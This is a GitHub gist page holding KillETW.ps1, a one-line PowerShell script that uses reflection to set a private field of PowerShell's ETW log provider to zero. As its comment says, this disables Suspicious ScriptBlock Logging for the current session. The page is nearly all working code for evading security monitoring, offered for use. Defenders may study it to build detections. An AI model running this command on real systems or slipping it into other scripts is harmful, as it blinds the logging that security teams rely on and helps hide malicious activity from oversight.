Skip to content

Instantly share code, notes, and snippets.

@0xbadjuju

0xbadjuju/KillETW.ps1

Forked from tandasat/KillETW.ps1
Created November 17, 2017 01:57
Show Gist options
  • Save 0xbadjuju/e8cacaac557cd013082e79b9e386c5d8 to your computer and use it in GitHub Desktop.
Save 0xbadjuju/e8cacaac557cd013082e79b9e386c5d8 to your computer and use it in GitHub Desktop.
Download ZIP
Disable ETW of the current PowerShell session
Raw
KillETW.ps1
#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
#
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment